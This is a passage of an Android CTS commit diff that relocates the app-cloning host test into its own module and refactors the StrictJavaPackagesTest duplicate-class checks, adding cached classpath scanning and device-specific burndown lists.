diff options
author | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-02-14 22:39:19 +0000 |
---|---|---|
committer | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-02-14 22:39:19 +0000 |
commit | 8a816c83f735317ed926bf93bfdb574da2dc11f8 (patch) | |
tree | 1d51f8bbfcba4ca16b7cee249b2166ece626d04a | |
parent | 108e50704cf67a39a171293d5a13e959bc81672c (diff) | |
parent | 9604214868d867fe9874d4e7a1b28eaaf9cd92fb (diff) | |
download | cts-android12-mainline-adbd-release.tar.gz |
Snap for 8183220 from 9604214868d867fe9874d4e7a1b28eaaf9cd92fb to mainline-adbd-releaseandroid-mainline-12.0.0_r85android12-mainline-adbd-release
Change-Id: I2e904daf67074282fba0ff8c66b723cbcb97744b
161 files changed, 6286 insertions, 2545 deletions
diff --git a/hostsidetests/appcloning/Android.bp b/hostsidetests/appcloning/Android.bp new file mode 100644 index 00000000000..f1ecc4be33b --- /dev/null +++ b/hostsidetests/appcloning/Android.bp @@ -0,0 +1,38 @@ +// Copyright (C) 2022 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +java_test_host { + name: "CtsAppCloningHostTest", + srcs: [ + "hostside/src/**/AppCloningHostTest.java", + "hostside/src/**/BaseHostTestCase.java", + ], + libs: [ + "cts-tradefed", + "tradefed", + "testng", + ], + // tag the module as cts a test artifact + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], + test_config: "AndroidTestAppCloning.xml", + data: [":CtsAppCloningTestApp"], +} diff --git a/hostsidetests/scopedstorage/AndroidTestAppCloning.xml b/hostsidetests/appcloning/AndroidTestAppCloning.xml index 03802f23886..8c882eb773a 100644 --- a/hostsidetests/scopedstorage/AndroidTestAppCloning.xml +++ b/hostsidetests/appcloning/AndroidTestAppCloning.xml @@ -1,29 +1,29 @@ <?xml version="1.0" encoding="utf-8"?> -<!-- Copyright (C) 2021 The Android Open Source Project - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. ---> +<!-- + ~ Copyright (C) 2022 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> <configuration description="Test for App cloning support with clone user profiles"> <option name="test-suite-tag" value="cts" /> <option name="config-descriptor:metadata" key="component" value="framework" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> - <!-- TODO(b/169101565): change to secondary_user when fixed --> <!-- Clone user profile is meant to exist only alongside a real system user. It does not exist for a headless system user, or a secondary user --> <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" /> <test class="com.android.tradefed.testtype.HostTest" > - <option name="class" value="android.scopedstorage.cts.host.AppCloningHostTest" /> + <option name="class" value="com.android.cts.appcloning.AppCloningHostTest" /> </test> <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController"> diff --git a/hostsidetests/appcloning/OWNERS b/hostsidetests/appcloning/OWNERS new file mode 100644 index 00000000000..7cc93143726 --- /dev/null +++ b/hostsidetests/appcloning/OWNERS @@ -0,0 +1,6 @@ +# Bug component: 1029024 +saumyap@google.com +maco@google.com +dagarhimanshu@google.com +sarup@google.com +sailendrabathi@google.com
\ No newline at end of file diff --git a/hostsidetests/appcloning/TEST_MAPPING b/hostsidetests/appcloning/TEST_MAPPING new file mode 100644 index 00000000000..f512df95a6c --- /dev/null +++ b/hostsidetests/appcloning/TEST_MAPPING @@ -0,0 +1,7 @@ +{ + "presubmit": [ + { + "name": "CtsAppCloningHostTest" + } + ] +}
\ No newline at end of file diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java index 9522731fe5d..ce7356c5966 100644 --- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java +++ b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java @@ -14,7 +14,7 @@ * limitations under the License. */ -package android.scopedstorage.cts.host; +package com.android.cts.appcloning; import static com.google.common.truth.Truth.assertThat; @@ -34,36 +34,39 @@ import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; -import java.util.ArrayList; -import java.util.List; - /** * Runs the AppCloning tests. */ @RunWith(DeviceJUnit4ClassRunner.class) @AppModeFull public class AppCloningHostTest extends BaseHostTestCase { - private static final String APP_A = "CtsScopedStorageTestAppA.apk"; - private static final String APP_A_PACKAGE = "android.scopedstorage.cts.testapp.A.withres"; + + private static final String APP_A = "CtsAppCloningTestApp.apk"; + private static final String APP_A_PACKAGE = "com.android.cts.appcloningtestapp"; + private static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider"; private static final int CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS = 20000; + private String mCloneUserId; private ContentProviderHandler mContentProviderHandler; - @Before public void setup() throws Exception { assumeFalse("Device is in headless system user mode", isHeadlessSystemUserMode()); assumeTrue(isAtLeastS()); assumeFalse("Device uses sdcardfs", usesSdcardFs()); + // create clone user String output = executeShellCommand( "pm create-user --profileOf 0 --user-type android.os.usertype.profile.CLONE " + "testUser"); - mCloneUserId = output.substring(output.lastIndexOf(' ') + 1).replaceAll("[^0-9]", ""); + mCloneUserId = output.substring(output.lastIndexOf(' ') + 1).replaceAll("[^0-9]", + ""); assertThat(mCloneUserId).isNotEmpty(); + CommandResult out = executeShellV2Command("am start-user -w %s", mCloneUserId); assertThat(out.getStderr()).isEmpty(); + mContentProviderHandler = new ContentProviderHandler(getDevice()); mContentProviderHandler.setUp(); } @@ -74,6 +77,8 @@ public class AppCloningHostTest extends BaseHostTestCase { if (mContentProviderHandler != null) { mContentProviderHandler.tearDown(); } + + // remove the clone user executeShellCommand("pm remove-user %s", mCloneUserId); } @@ -92,7 +97,8 @@ public class AppCloningHostTest extends BaseHostTestCase { eventually(() -> { // Wait for finish. assertThat(isSuccessful( - runContentProviderCommand("query", mCloneUserId, "/sdcard", ""))).isTrue(); + runContentProviderCommand("query", mCloneUserId, + "/sdcard", ""))).isTrue(); }, CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS); // Create a file on the clone user storage @@ -101,16 +107,19 @@ public class AppCloningHostTest extends BaseHostTestCase { eventually(() -> { // Wait for finish. assertThat(isSuccessful( - runContentProviderCommand("write", mCloneUserId, "/sdcard/testFile.txt", + runContentProviderCommand("write", mCloneUserId, + "/sdcard/testFile.txt", "< /sdcard/testFile.txt"))).isTrue(); }, CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS); // Check that the above created file exists on the clone user storage - out = runContentProviderCommand("query", mCloneUserId, "/sdcard/testFile.txt", ""); + out = runContentProviderCommand("query", mCloneUserId, + "/sdcard/testFile.txt", ""); assertThat(isSuccessful(out)).isTrue(); // Cleanup the created file - out = runContentProviderCommand("delete", mCloneUserId, "/sdcard/testFile.txt", ""); + out = runContentProviderCommand("delete", mCloneUserId, + "/sdcard/testFile.txt", ""); assertThat(isSuccessful(out)).isTrue(); } @@ -136,7 +145,6 @@ public class AppCloningHostTest extends BaseHostTestCase { } private boolean usesSdcardFs() throws Exception { - List<String> mounts = new ArrayList<>(); CommandResult out = executeShellV2Command("cat /proc/mounts"); assertThat(isSuccessful(out)).isTrue(); for (String line : out.getStdout().split("\n")) { @@ -147,6 +155,4 @@ public class AppCloningHostTest extends BaseHostTestCase { } return false; } - - } diff --git a/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java new file mode 100644 index 00000000000..3d301f1b7ca --- /dev/null +++ b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java @@ -0,0 +1,108 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.appcloning; + +import com.android.tradefed.device.DeviceNotAvailableException; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.device.NativeDevice; +import com.android.tradefed.log.LogUtil.CLog; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.tradefed.util.CommandResult; +import com.android.tradefed.util.CommandStatus; + + +abstract class BaseHostTestCase extends BaseHostJUnit4Test { + private int mCurrentUserId = NativeDevice.INVALID_USER_ID; + private static final String ERROR_MESSAGE_TAG = "[ERROR]"; + + protected String executeShellCommand(String cmd, Object... args) throws Exception { + return getDevice().executeShellCommand(String.format(cmd, args)); + } + + protected CommandResult executeShellV2Command(String cmd, Object... args) throws Exception { + return getDevice().executeShellV2Command(String.format(cmd, args)); + } + + protected boolean isPackageInstalled(String packageName, String userId) throws Exception { + return getDevice().isPackageInstalled(packageName, userId); + } + + // TODO (b/174775905) remove after exposing the check from ITestDevice. + protected boolean isHeadlessSystemUserMode() throws DeviceNotAvailableException { + String result = getDevice() + .executeShellCommand("getprop ro.fw.mu.headless_system_user").trim(); + return "true".equalsIgnoreCase(result); + } + + protected boolean isAtLeastS() throws DeviceNotAvailableException { + return getDevice().getApiLevel() >= 31 /* BUILD.VERSION_CODES.S */; + } + + protected static void eventually(ThrowingRunnable r, long timeoutMillis) { + long start = System.currentTimeMillis(); + + while (true) { + try { + r.run(); + return; + } catch (Throwable e) { + if (System.currentTimeMillis() - start < timeoutMillis) { + try { + Thread.sleep(100); + } catch (InterruptedException ignored) { + throw new RuntimeException(e); + } + } else { + throw new RuntimeException(e); + } + } + } + } + + protected int getCurrentUserId() throws Exception { + setCurrentUserId(); + + return mCurrentUserId; + } + + protected boolean isSuccessful(CommandResult result) { + if (!CommandStatus.SUCCESS.equals(result.getStatus())) { + return false; + } + String stdout = result.getStdout(); + if (stdout.contains(ERROR_MESSAGE_TAG)) { + return false; + } + String stderr = result.getStderr(); + return (stderr == null || stderr.trim().isEmpty()); + } + + private void setCurrentUserId() throws Exception { + if (mCurrentUserId != NativeDevice.INVALID_USER_ID) return; + + ITestDevice device = getDevice(); + mCurrentUserId = device.getCurrentUser(); + CLog.i("Current user: %d"); + } + + protected interface ThrowingRunnable { + /** + * Similar to {@link Runnable#run} but has {@code throws Exception}. + */ + void run() throws Exception; + } +} diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp b/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp new file mode 100644 index 00000000000..b3edfec5112 --- /dev/null +++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp @@ -0,0 +1,31 @@ +// Copyright (C) 2022 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CtsAppCloningTestApp", + defaults: ["cts_defaults"], + static_libs: [ + "androidx.test.rules", + "truth-prebuilt", + "cts-install-lib", + ], + srcs: ["src/**/*.java"], + sdk_version: "test_current", + target_sdk_version: "current", + min_sdk_version: "30", +} diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml b/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml new file mode 100644 index 00000000000..07d78a0ead2 --- /dev/null +++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml @@ -0,0 +1,32 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + ~ Copyright (C) 2022 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="com.android.cts.appcloningtestapp" + android:versionCode="1" + android:versionName="1.0" > + + <uses-sdk android:minSdkVersion="30" /> + + <application> + <uses-library android:name="android.test.runner" /> + </application> + + <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="com.android.cts.appcloningtestapp" /> + +</manifest>
\ No newline at end of file diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java new file mode 100644 index 00000000000..46480f7cd78 --- /dev/null +++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java @@ -0,0 +1,25 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.appcloningtestapp; + +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +@RunWith(JUnit4.class) +public class AppCloningDeviceTest { + private static final String TAG = "AppCloningDeviceTest"; +} diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp index fcb20e829cd..9ab8a832ca3 100644 --- a/hostsidetests/appcompat/strictjavapackages/Android.bp +++ b/hostsidetests/appcompat/strictjavapackages/Android.bp @@ -33,6 +33,6 @@ java_test_host { test_suites: [ "cts", "general-tests", - "mts", + "mts-mainline-infra", ], } diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java index ca23a714cbd..5ac8f32f498 100644 --- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java +++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java @@ -26,7 +26,7 @@ import static org.junit.Assume.assumeTrue; import android.compat.testing.Classpaths; import android.compat.testing.SharedLibraryInfo; -import com.android.compatibility.common.util.ApiLevelUtil; +import com.android.modules.utils.build.testing.DeviceSdkLevel; import com.android.tradefed.device.DeviceNotAvailableException; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; @@ -35,15 +35,20 @@ import com.google.common.collect.HashMultimap; import com.google.common.collect.ImmutableCollection; import com.google.common.collect.ImmutableList; import com.google.common.collect.ImmutableSet; +import com.google.common.collect.ImmutableSetMultimap; import com.google.common.collect.Multimap; import com.google.common.collect.Multimaps; +import org.jf.dexlib2.iface.ClassDef; +import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import java.io.IOException; import java.util.Collection; import java.util.Set; +import java.util.stream.Stream; + /** * Tests for detecting no duplicate class files are present on BOOTCLASSPATH and @@ -55,6 +60,17 @@ import java.util.Set; @RunWith(DeviceJUnit4ClassRunner.class) public class StrictJavaPackagesTest extends BaseHostJUnit4Test { + private static final String ANDROID_TEST_MOCK_JAR = "/system/framework/android.test.mock.jar"; + + private static final Object sLock = new Object(); + private static ImmutableList<String> sBootclasspathJars; + private static ImmutableList<String> sSystemserverclasspathJars; + private static ImmutableList<String> sSharedLibJars; + private static ImmutableList<SharedLibraryInfo> sSharedLibs; + private static ImmutableSetMultimap<String, String> sJarsToClasses; + + private DeviceSdkLevel mDeviceSdkLevel; + /** * This is the list of classes that are currently duplicated and should be addressed. * @@ -192,6 +208,28 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { "Lcom/android/internal/util/FrameworkStatsLog;" ); + private static final String FEATURE_WEARABLE = "android.hardware.type.watch"; + private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive"; + + private static final Set<String> WEAR_HIDL_OVERLAP_BURNDOWN_LIST = + ImmutableSet.of( + "Landroid/hidl/base/V1_0/DebugInfo$Architecture;", + "Landroid/hidl/base/V1_0/IBase;", + "Landroid/hidl/base/V1_0/IBase$Proxy;", + "Landroid/hidl/base/V1_0/IBase$Stub;", + "Landroid/hidl/base/V1_0/DebugInfo;", + "Landroid/hidl/safe_union/V1_0/Monostate;" + ); + + private static final Set<String> AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST = + ImmutableSet.of( + "Landroid/hidl/base/V1_0/DebugInfo$Architecture;", + "Landroid/hidl/base/V1_0/IBase;", + "Landroid/hidl/base/V1_0/IBase$Proxy;", + "Landroid/hidl/base/V1_0/IBase$Stub;", + "Landroid/hidl/base/V1_0/DebugInfo;" + ); + /** * TODO(b/199529199): Address these. * List of duplicate classes between bootclasspath and shared libraries. @@ -199,7 +237,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { * <p> DO NOT ADD CLASSES TO THIS LIST! */ private static final Set<String> BCP_AND_SHARED_LIB_BURNDOWN_LIST = - ImmutableSet.of( + ImmutableSet.of( "Landroid/hidl/base/V1_0/DebugInfo;", "Landroid/hidl/base/V1_0/IBase;", "Landroid/hidl/manager/V1_0/IServiceManager;", @@ -245,6 +283,9 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { "Lcom/qualcomm/qcrilmsgtunnel/IQcrilMsgTunnel;", "Lcom/qualcomm/utils/CommandException;", "Lcom/qualcomm/utils/RILConstants;", + "Lorg/codeaurora/telephony/utils/CommandException;", + "Lorg/codeaurora/telephony/utils/Log;", + "Lorg/codeaurora/telephony/utils/RILConstants;", "Lorg/chromium/net/ApiVersion;", "Lorg/chromium/net/BidirectionalStream;", "Lorg/chromium/net/CallbackException;", @@ -269,16 +310,70 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { "Lorg/chromium/net/UploadDataSink;", "Lorg/chromium/net/UrlRequest;", "Lorg/chromium/net/UrlResponseInfo;" - ); + ); + + /** + * Fetch all jar files in BCP, SSCP and shared libs and extract all the classes. + * + * <p>This method cannot be static, as there are no static equivalents for {@link #getDevice()} + * and {@link #getBuild()}. + */ + @Before + public void setupOnce() throws IOException, DeviceNotAvailableException { + if (getDevice() == null || getBuild() == null) { + throw new RuntimeException("No device and/or build type specified!"); + } + mDeviceSdkLevel = new DeviceSdkLevel(getDevice()); + + synchronized (sLock) { + if (sJarsToClasses != null) { + return; + } + sBootclasspathJars = Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH); + sSystemserverclasspathJars = + Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH); + sSharedLibs = mDeviceSdkLevel.isDeviceAtLeastS() + ? Classpaths.getSharedLibraryInfos(getDevice(), getBuild()) + : ImmutableList.of(); + sSharedLibJars = sSharedLibs.stream() + .map(sharedLibraryInfo -> sharedLibraryInfo.paths) + .flatMap(ImmutableCollection::stream) + .filter(this::doesFileExist) + .collect(ImmutableList.toImmutableList()); + + final ImmutableSetMultimap.Builder<String, String> jarsToClasses = + ImmutableSetMultimap.builder(); + Stream.of(sBootclasspathJars.stream(), + sSystemserverclasspathJars.stream(), + sSharedLibJars.stream()) + .reduce(Stream::concat).orElseGet(Stream::empty) + .parallel() + .forEach(jar -> { + try { + ImmutableSet<String> classes = + Classpaths.getClassDefsFromJar(getDevice(), jar).stream() + .map(ClassDef::getType) + // Inner classes always go with their parent. + .filter(className -> !className.contains("$")) + .collect(ImmutableSet.toImmutableSet()); + synchronized (jarsToClasses) { + jarsToClasses.putAll(jar, classes); + } + } catch (DeviceNotAvailableException | IOException e) { + throw new RuntimeException(e); + } + }); + sJarsToClasses = jarsToClasses.build(); + } + } + /** * Ensure that there are no duplicate classes among jars listed in BOOTCLASSPATH. */ @Test public void testBootclasspath_nonDuplicateClasses() throws Exception { - assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29)); - ImmutableList<String> jars = - Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH); - assertThat(getDuplicateClasses(jars)).isEmpty(); + assumeTrue(mDeviceSdkLevel.isDeviceAtLeastR()); + assertThat(getDuplicateClasses(sBootclasspathJars)).isEmpty(); } /** @@ -286,10 +381,20 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { */ @Test public void testSystemServerClasspath_nonDuplicateClasses() throws Exception { - assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29)); - ImmutableList<String> jars = - Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH); - assertThat(getDuplicateClasses(jars)).isEmpty(); + assumeTrue(mDeviceSdkLevel.isDeviceAtLeastR()); + ImmutableSet<String> overlapBurndownList; + if (hasFeature(FEATURE_AUTOMOTIVE)) { + overlapBurndownList = ImmutableSet.copyOf(AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST); + } else if (hasFeature(FEATURE_WEARABLE)) { + overlapBurndownList = ImmutableSet.copyOf(WEAR_HIDL_OVERLAP_BURNDOWN_LIST); + } else { + overlapBurndownList = ImmutableSet.of(); + } + Multimap<String, String> duplicates = getDuplicateClasses(sSystemserverclasspathJars); + Multimap<String, String> filtered = Multimaps.filterKeys(duplicates, + duplicate -> !overlapBurndownList.contains(duplicate)); + + assertThat(filtered).isEmpty(); } /** @@ -298,14 +403,25 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { */ @Test public void testBootClasspathAndSystemServerClasspath_nonDuplicateClasses() throws Exception { - assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29)); + assumeTrue(mDeviceSdkLevel.isDeviceAtLeastR()); ImmutableList.Builder<String> jars = ImmutableList.builder(); - jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH)); - jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH)); - + jars.addAll(sBootclasspathJars); + jars.addAll(sSystemserverclasspathJars); + ImmutableSet<String> overlapBurndownList; + if (hasFeature(FEATURE_AUTOMOTIVE)) { + overlapBurndownList = ImmutableSet.<String>builder() + .addAll(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST) + .addAll(AUTOMOTIVE_HIDL_OVERLAP_BURNDOWN_LIST).build(); + } else if (hasFeature(FEATURE_WEARABLE)) { + overlapBurndownList = ImmutableSet.<String>builder() + .addAll(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST) + .addAll(WEAR_HIDL_OVERLAP_BURNDOWN_LIST).build(); + } else { + overlapBurndownList = ImmutableSet.copyOf(BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST); + } Multimap<String, String> duplicates = getDuplicateClasses(jars.build()); Multimap<String, String> filtered = Multimaps.filterKeys(duplicates, - duplicate -> !BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST.contains(duplicate)); + duplicate -> !overlapBurndownList.contains(duplicate)); assertThat(filtered).isEmpty(); } @@ -315,13 +431,9 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { */ @Test public void testBootClasspath_nonDuplicateApexJarClasses() throws Exception { - ImmutableList<String> jars = - Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH); - - Multimap<String, String> duplicates = getDuplicateClasses(jars); + Multimap<String, String> duplicates = getDuplicateClasses(sBootclasspathJars); Multimap<String, String> filtered = Multimaps.filterValues(duplicates, jar -> jar.startsWith("/apex/")); - assertThat(filtered).isEmpty(); } @@ -330,10 +442,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { */ @Test public void testSystemServerClasspath_nonDuplicateApexJarClasses() throws Exception { - ImmutableList<String> jars = - Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH); - - Multimap<String, String> duplicates = getDuplicateClasses(jars); + Multimap<String, String> duplicates = getDuplicateClasses(sSystemserverclasspathJars); Multimap<String, String> filtered = Multimaps.filterValues(duplicates, jar -> jar.startsWith("/apex/")); @@ -348,8 +457,8 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { public void testBootClasspathAndSystemServerClasspath_nonApexDuplicateClasses() throws Exception { ImmutableList.Builder<String> jars = ImmutableList.builder(); - jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH)); - jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), SYSTEMSERVERCLASSPATH)); + jars.addAll(sBootclasspathJars); + jars.addAll(sSystemserverclasspathJars); Multimap<String, String> duplicates = getDuplicateClasses(jars.build()); Multimap<String, String> filtered = Multimaps.filterKeys(duplicates, @@ -365,22 +474,40 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { */ @Test public void testBootClasspathAndSharedLibs_nonDuplicateClasses() throws Exception { - assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29)); + assumeTrue(mDeviceSdkLevel.isDeviceAtLeastS()); final ImmutableList.Builder<String> jars = ImmutableList.builder(); - final ImmutableList<SharedLibraryInfo> sharedLibs = - Classpaths.getSharedLibraryInfos(getDevice(), getBuild()); - jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH)); - jars.addAll(sharedLibs.stream() - .map(sharedLibraryInfo -> sharedLibraryInfo.paths) - .flatMap(ImmutableCollection::stream) - .filter(this::doesFileExist) - .collect(ImmutableList.toImmutableList()) - ); + jars.addAll(sBootclasspathJars); + jars.addAll(sSharedLibJars); final Multimap<String, String> duplicates = getDuplicateClasses(jars.build()); final Multimap<String, String> filtered = Multimaps.filterKeys(duplicates, - duplicate -> !BCP_AND_SHARED_LIB_BURNDOWN_LIST.contains(duplicate) - && !isSameLibrary(duplicates.get(duplicate), sharedLibs) - ); + dupeClass -> { + try { + final Collection<String> dupeJars = duplicates.get(dupeClass); + // Duplicate is already known. + if (BCP_AND_SHARED_LIB_BURNDOWN_LIST.contains(dupeClass)) { + return false; + } + // Duplicate is only between different versions of the same shared library. + if (isSameLibrary(dupeJars)) { + return false; + } + // Pre-T, the Android test mock library included some platform classes. + if (!mDeviceSdkLevel.isDeviceAtLeastT() + && dupeJars.contains(ANDROID_TEST_MOCK_JAR)) { + return false; + } + // Different versions of the same library may have different names, and + // there's + // no reliable way to dedupe them. Ignore duplicates if they do not + // include apex jars. + if (dupeJars.stream().noneMatch(lib -> lib.startsWith("/apex/"))) { + return false; + } + } catch (DeviceNotAvailableException e) { + throw new RuntimeException(e); + } + return true; + }); assertThat(filtered).isEmpty(); } @@ -390,26 +517,9 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { * @param jars a list of jar files. * @return a multimap with the class name as a key and the jar files as a value. */ - private Multimap<String, String> getDuplicateClasses(ImmutableCollection<String> jars) - throws Exception { - final Multimap<String, String> allClasses = HashMultimap.create(); - jars.stream() - .parallel() - .forEach(jar -> { - try { - Classpaths.getClassDefsFromJar(getDevice(), jar) - .stream() - // Inner classes always go with their parent. - .filter(classDef -> !classDef.getType().contains("$")) - .forEach(classDef -> { - synchronized (allClasses) { - allClasses.put(classDef.getType(), jar); - } - }); - } catch (DeviceNotAvailableException | IOException e) { - throw new RuntimeException(e); - } - }); + private Multimap<String, String> getDuplicateClasses(ImmutableCollection<String> jars) { + final HashMultimap<String, String> allClasses = HashMultimap.create(); + Multimaps.invertFrom(Multimaps.filterKeys(sJarsToClasses, jars::contains), allClasses); return Multimaps.filterKeys(allClasses, key -> allClasses.get(key).size() > 1); } @@ -417,7 +527,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { assertThat(path).isNotNull(); try { return getDevice().doesFileExist(path); - } catch(DeviceNotAvailableException e) { + } catch (DeviceNotAvailableException e) { throw new RuntimeException("Could not check whether " + path + " exists on device", e); } } @@ -427,22 +537,24 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { * * @return the shared library name or the jar's path if it's not a shared library. */ - private String getSharedLibraryNameOrPath(String jar, - 